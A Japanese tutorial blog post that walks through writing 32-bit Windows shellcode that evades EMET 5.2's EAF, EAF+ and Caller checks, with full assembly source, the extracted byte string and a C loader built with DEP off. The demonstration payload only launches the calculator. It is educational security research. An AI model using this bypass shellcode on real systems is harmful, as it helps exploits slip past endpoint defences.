WindowsでEMETを回避するシェルコードを書いてみる

「Windowsで電卓を起動するシェルコードを書いてみる」では、32ビットのWindows環境で動作するシェルコードを書いた。 ここでは、Microsoftが提供する脆弱性緩和ツールEMET(Enhanced Mitigation Experience Toolkit)の検知機構を回避するシェルコードを書いてみる。

環境

Windows 8.1 Pro 64 bit版、Visual Studio Community 2013 with Update 4、EMET 5.2

>systeminfo
OS 名:                  Microsoft Windows 8.1 Pro
OS バージョン:          6.3.9600 N/A ビルド 9600
OS ビルドの種類:        Multiprocessor Free
システムの種類:         x64-based PC
プロセッサ:             1 プロセッサインストール済みです。
                        [01]: Intel64 Family 6 Model 69 Stepping 1 GenuineIntel ~1596 Mhz

>cl
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86

>ml
Microsoft (R) Macro Assembler Version 12.00.31101.0

>dumpbin
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0

>powershell -c "(dir 'C:\Program Files (x86)\EMET 5.2\EMET_GUI.exe').VersionInfo.FileVersion"
5.2.5546.19547

EMETを使ってみる

EMETは、シェルコード実行やROP、リモートのDLL読み込みなどに対する複数の検知機構をまとめたツールキットである。 EMETでは、適用したいアプリケーションを事前に登録し、有効にしたい検知機構を選択するようになっている。

EMETをインストールし、「Windowsで電卓を起動するシェルコードを書いてみる」で作成したloader.exeについてデフォルトの検知機構を有効にした上で実行すると、実行に失敗することがわかる。 どのような検知機構に引っかかっているか確認するため、Default Actionを「Audit only」にして再度実行してみると、次のスクリーンショットのようになる。

f:id:inaz2:20150814153153p:plain

ポップアップの内容から、EAFで2回、Callerで1回検知されていることが確認できる。

EAFの回避

EAF(Export Address Table Filtering)は、kernel32.dll、ntdll.dll、kernelbase.dllのExport Address Table(EAT)へのアクセス時に、そのアクセスが妥当なコード領域で行われているかどうかチェックする。 つまり、シェルコード中でmov eax, [eax]のような形でEATの値を読もうとすると、このチェックにより検知される。 実際にデバッガを使いEAFの検知が起こるタイミングを調べると、IMAGE_EXPORT_DIRECTORY構造体のAddressOfFunctionsメンバにアクセスするタイミングで検知されていることがわかる。

EAFの回避にはいくつかの方法が知られている。

  • ROP gadgetを利用し、妥当なコード領域からEATにアクセスする
  • EATの代わりに、他のDLLのImport Address Tableから目的の関数のアドレスを得る
  • NtContinueシステムコールを呼ぶことで、EAFが利用しているデバッグレジスタをクリアする

ここでは、一つ目の方法を用いることにする。 メモリアクセスに利用できるgadgetとして、ntdll.dll内にある次のコードが知られている。

0:000> u ntdll!RtlGetCurrentPeb
ntdll!RtlGetCurrentPeb:
77c8c530 64a118000000    mov     eax,dword ptr fs:[00000018h]
77c8c536 8b4030          mov     eax,dword ptr [eax+30h]
77c8c539 c3              ret
77c8c53a 90              nop
77c8c53b 90              nop
77c8c53c 90              nop
77c8c53d 90              nop
77c8c53e 90              nop

上における77c8c536をcallすることで、eax+30hのアドレスにある値を取得することができる。 そこで、シェルコード中でntdll.dllがロードされた領域から8b4030c3というバイト列をスキャンし、このgadgetを探索する。 このとき、ntdll.dllのEATをスキャンしてしまうとEAFで検知されてしまうため、スキャンの開始アドレスを先頭からずらす必要があることに注意する。 実際にデバッガで調べてみると、ntdll.dllのEATは先頭から0x2B4BCバイト、RtlGetCurrentPeb関数は先頭から0xdc530バイトの位置にあることがわかる。

0:000> !dh -f ntdll
(snip)
77bb0000 image base
(snip)
   2B4BC [   10F9F] address [size] of Export Directory
(snip)

0:000> ? ntdll!RtlGetCurrentPeb - ntdll
Evaluate expression: 902448 = 000dc530

そこで、ここでは先頭から0x40000バイト先の位置からスキャンを開始することにする。 gadgetのアドレスを特定した後は、AddressOfFunctionsメンバにアクセスする箇所でこのgadgetを使うようにシェルコードを修正する。

EAF+の回避

EAF+は、EMET 5.0で追加されたEAFのチェック強化版である。 EAF+を有効にすると、次のような検知機構が追加される。

  • EATへのアクセス時、espがスタック領域にあるかチェック
  • EATへのアクセス時、ebpがespより大きい値となっているかチェック
  • read primitiveによるメモリスキャンが行われうるDLL(Flash PlayerやJavaScriptエンジン)からEATへのアクセスを禁止
  • 上記DLLのDOS/PEヘッダへのアクセスを禁止

EMETで新規アプリケーションを追加したとき、デフォルトでEAF+は無効であるが、ここではEAF+による検知も回避することを考える。 具体的には、二つ目のチェックを回避するため、EATへのアクセス時にebpがespより大きな値となるようにする。

Callerの回避

Caller(Caller Checks)はVirtualProtect関数など重要なAPI関数の呼び出し時、リターンアドレスの直前の命令が妥当なcall命令となっているかどうかチェックする。 これにより、ROPでスタック上のリターンアドレスが不正なものとなっている場合を検知する。

CallerはROP検知のための機構であるが、ここではシェルコード中で間接的にAPI関数にジャンプしているため、WinExec関数の呼び出し時に検知に引っかかっている。 これを回避するには、呼びたいAPI関数のアドレスをレジスタにセットし、call raxのような形で呼ぶようにすればよい。

シェルコードを書いてみる

以上の内容をもとに、EMETの検知を回避するシェルコードを書いてみると次のようになる。

; execcalc.asm
.386
.model flat, stdcall
.code

start:
    cld
    jmp step_main

api_call:
    assume fs:nothing
    pushad
    xor eax, eax
    mov eax, fs:[eax+30h]   ; PEB
    mov eax, [eax+0ch]      ; Ldr
    mov esi, [eax+14h]      ; InMemoryOrderModuleList
    lodsd                   ; next _LDR_DATA_TABLE_ENTRY
    mov esi, [eax+10h]      ; DllBase of ntdll.dll
    xor edx, edx
    inc edx
    shl edx, 18
    add esi, edx            ; scan from DllBase+40000h
scan_eaf_bypass:
    inc esi
    cmp dword ptr [esi], 0c330408bh    ; mov eax,dword ptr [eax+30h]; ret
    jne scan_eaf_bypass
    push esi
next_mod:
    mov [esp+20h], eax      ; store eax
    mov ebp, [eax+10h]      ; DllBase
    mov eax, [ebp+3ch]      ; IMAGE_DOS_HEADER.e_lfanew
    mov edi, [ebp+eax+78h]  ; IMAGE_EXPORT_DIRECTORY
    add edi, ebp
    mov ecx, [edi+18h]      ; NumberOfNames
    mov ebx, [edi+20h]      ; AddressOfNames
    add ebx, ebp
next_name:                  ; while (--NumberOfNames)
    jecxz name_not_found
    dec ecx
    mov esi, [ebx+ecx*4]    ; ptr = AddressOfNames[NumberOfNames]
    add esi, ebp
    xor eax, eax
    cdq                     ; hash = 0
compute_hash_loop:          ; while ((c = *(ptr++)) != 0)
    lodsb
    test al, al
    jz compare_hash
    ror edx, 0dh            ; hash += ror(c, 0x0d)
    add edx, eax
    jmp compute_hash_loop
step_main:
    jmp main
compare_hash:
    cmp edx, [esp+28h]      ; compare with api hash
    jnz next_name
    mov edx, ebp            ; EMET EAF+ bypass
    mov ebp, esp
    mov ebx, [edi+24h]      ; AddressOfNameOrdinals
    add ebx, edx
    mov cx, [ebx+ecx*2]     ; y = AddressOfNameOrdinals[x]
    pop esi                 ; EMET EAF bypass gadget
    lea eax, [edi+1ch-30h]  ; AddressOfFunctions
    call esi
    add eax, edx
    mov eax, [eax+ecx*4]    ; AddressOfFunctions[y]
    add eax, edx
    mov [esp+1ch], eax      ; store eax
    popad
    pop ecx                 ; remove api hash from the stack
    pop edx
    push ecx
    ret                     ; return api address
name_not_found:
    mov esi, [esp+20h]      ; update eax
    lodsd                   ; next _LDR_DATA_TABLE_ENTRY
    jmp next_mod

main:
    xor ebx, ebx
    push ebx
    push 636c6163h          ; "calc"
    mov eax, esp
    push 1
    push eax
    push 0e8afe98h          ; WinExec
    call api_call
    call eax                ; EMET Caller bypass
    push ebx
    push 73e2d87eh          ; ExitProcess
    call api_call
    call eax

end start

上のコードでは、InMemoryOrderModuleListの2番目が常にntdll.dllであることを利用し、scan_eaf_bypassでベースアドレスの0x40000バイト先からgadgetを探索する。 発見したgadgetのアドレスはスタックに積んでおき、AddressOfFunctionsにアクセスする際に利用することでEAFを回避する。 また、AddressOfFunctionsのアクセス時にebpとespが同じ値になるようにしておくことで、EAF+を回避する。 さらに、api_callAPI関数に直接ジャンプする代わりにAPI関数のアドレスを返すようにし、呼び出し元であらためてcallすることでCallerを回避する。 最初のjmp命令で直接mainにジャンプするようにすると命令がNUL文字を含んでしまうため、ここではstep_mainを経由してmainにジャンプしている。

コードをアセンブルして実行してみる。

>ml execcalc.asm /link /subsystem:console
Microsoft (R) Macro Assembler Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

 Assembling: execcalc.asm
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/OUT:execcalc.exe
execcalc.obj
/subsystem:console

>execcalc.exe

電卓が起動することを確認した後、ディスアセンブルして対応するバイト列を表示し、これをC文字列に変換してみる。

>dumpbin /rawdata execcalc.exe
Microsoft (R) COFF/PE Dumper Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.


Dump of file execcalc.exe

File Type: EXECUTABLE IMAGE

RAW DATA #1
  00401000: FC EB 52 60 33 C0 64 8B 40 30 8B 40 0C 8B 70 14  üëR`3Àd.@0.@..p.
  00401010: AD 8B 70 10 33 D2 42 C1 E2 12 03 F2 46 81 3E 8B  ­.p.3ÒBÁâ..òF.>.
  00401020: 40 30 C3 75 F7 56 89 44 24 20 8B 68 10 8B 45 3C  @0Ãu÷V.D$ .h..E<
  00401030: 8B 7C 28 78 03 FD 8B 4F 18 8B 5F 20 03 DD E3 40  .|(x.ý.O.._ .Ýã@
  00401040: 49 8B 34 8B 03 F5 33 C0 99 AC 84 C0 74 09 C1 CA  I.4..õ3À.¬.Àt.ÁÊ
  00401050: 0D 03 D0 EB F4 EB 30 3B 54 24 28 75 E1 8B D5 8B  ..Ðëôë0;T$(uá.Õ.
  00401060: EC 8B 5F 24 03 DA 66 8B 0C 4B 5E 8D 47 EC FF D6  ì._$.Úf..K^.GìÿÖ
  00401070: 03 C2 8B 04 88 03 C2 89 44 24 1C 61 59 5A 51 C3  .Â....Â.D$.aYZQÃ
  00401080: 8B 74 24 20 AD EB 9F 33 DB 53 68 63 61 6C 63 8B  .t$ ­ë.3ÛShcalc.
  00401090: C4 6A 01 50 68 98 FE 8A 0E E8 65 FF FF FF FF D0  Äj.Ph.þ..èeÿÿÿÿÐ
  004010A0: 53 68 7E D8 E2 73 E8 58 FF FF FF FF D0           Sh~ØâsèXÿÿÿÿÐ

  Summary

        1000 .text

>dumpbin /rawdata execcalc.exe | powershell -ex remotesigned -f getsc.ps1
\xFC\xEB\x52\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x8B\x70\x10\x33\xD2\x42\xC1\xE2\x12\x03\xF2\x46\x81\x3E\x8B\x40\x30\xC3\x75\xF7\x56\x89\x44\x24\x20\x8B\x68\x10\x8B\x45\x3C\x8B\x7C\x28\x78\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x03\xDD\xE3\x40\x49\x8B\x34\x8B\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x09\xC1\xCA\x0D\x03\xD0\xEB\xF4\xEB\x30\x3B\x54\x24\x28\x75\xE1\x8B\xD5\x8B\xEC\x8B\x5F\x24\x03\xDA\x66\x8B\x0C\x4B\x5E\x8D\x47\xEC\xFF\xD6\x03\xC2\x8B\x04\x88\x03\xC2\x89\x44\x24\x1C\x61\x59\x5A\x51\xC3\x8B\x74\x24\x20\xAD\xEB\x9F\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x65\xFF\xFF\xFF\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xE8\x58\xFF\xFF\xFF\xFF\xD0

シェルコードを実行してみる

上のバイト列にジャンプするC言語コードを書いてみると次のようになる。

/* loader.c */
#include <stdio.h>
#include <string.h>

int main()
{
    char code[] = "\xFC\xEB\x52\x60\x33\xC0\x64\x8B\x40\x30\x8B\x40\x0C\x8B\x70\x14\xAD\x8B\x70\x10\x33\xD2\x42\xC1\xE2\x12\x03\xF2\x46\x81\x3E\x8B\x40\x30\xC3\x75\xF7\x56\x89\x44\x24\x20\x8B\x68\x10\x8B\x45\x3C\x8B\x7C\x28\x78\x03\xFD\x8B\x4F\x18\x8B\x5F\x20\x03\xDD\xE3\x40\x49\x8B\x34\x8B\x03\xF5\x33\xC0\x99\xAC\x84\xC0\x74\x09\xC1\xCA\x0D\x03\xD0\xEB\xF4\xEB\x30\x3B\x54\x24\x28\x75\xE1\x8B\xD5\x8B\xEC\x8B\x5F\x24\x03\xDA\x66\x8B\x0C\x4B\x5E\x8D\x47\xEC\xFF\xD6\x03\xC2\x8B\x04\x88\x03\xC2\x89\x44\x24\x1C\x61\x59\x5A\x51\xC3\x8B\x74\x24\x20\xAD\xEB\x9F\x33\xDB\x53\x68\x63\x61\x6C\x63\x8B\xC4\x6A\x01\x50\x68\x98\xFE\x8A\x0E\xE8\x65\xFF\xFF\xFF\xFF\xD0\x53\x68\x7E\xD8\xE2\x73\xE8\x58\xFF\xFF\xFF\xFF\xD0";
    printf("strlen(code) = %d\n", strlen(code));
    (*(void (*)())code)();
    return 0;
}

DEP無効でコンパイルする。

>cl loader.c /link /nxcompat:no
Microsoft (R) C/C++ Optimizing Compiler Version 18.00.31101 for x86
Copyright (C) Microsoft Corporation.  All rights reserved.

loader.c
Microsoft (R) Incremental Linker Version 12.00.31101.0
Copyright (C) Microsoft Corporation.  All rights reserved.

/out:loader.exe
/nxcompat:no
loader.obj

EMETの適用対象にloader.exeを追加し、EAF、EAF+、Callerを有効にする。 この状態で実行ファイルを実行すると、EMETで検知されることなく電卓が起動することが確認できる。

>loader.exe
strlen(code) = 173

このシェルコードの長さは173バイトである。

関連リンク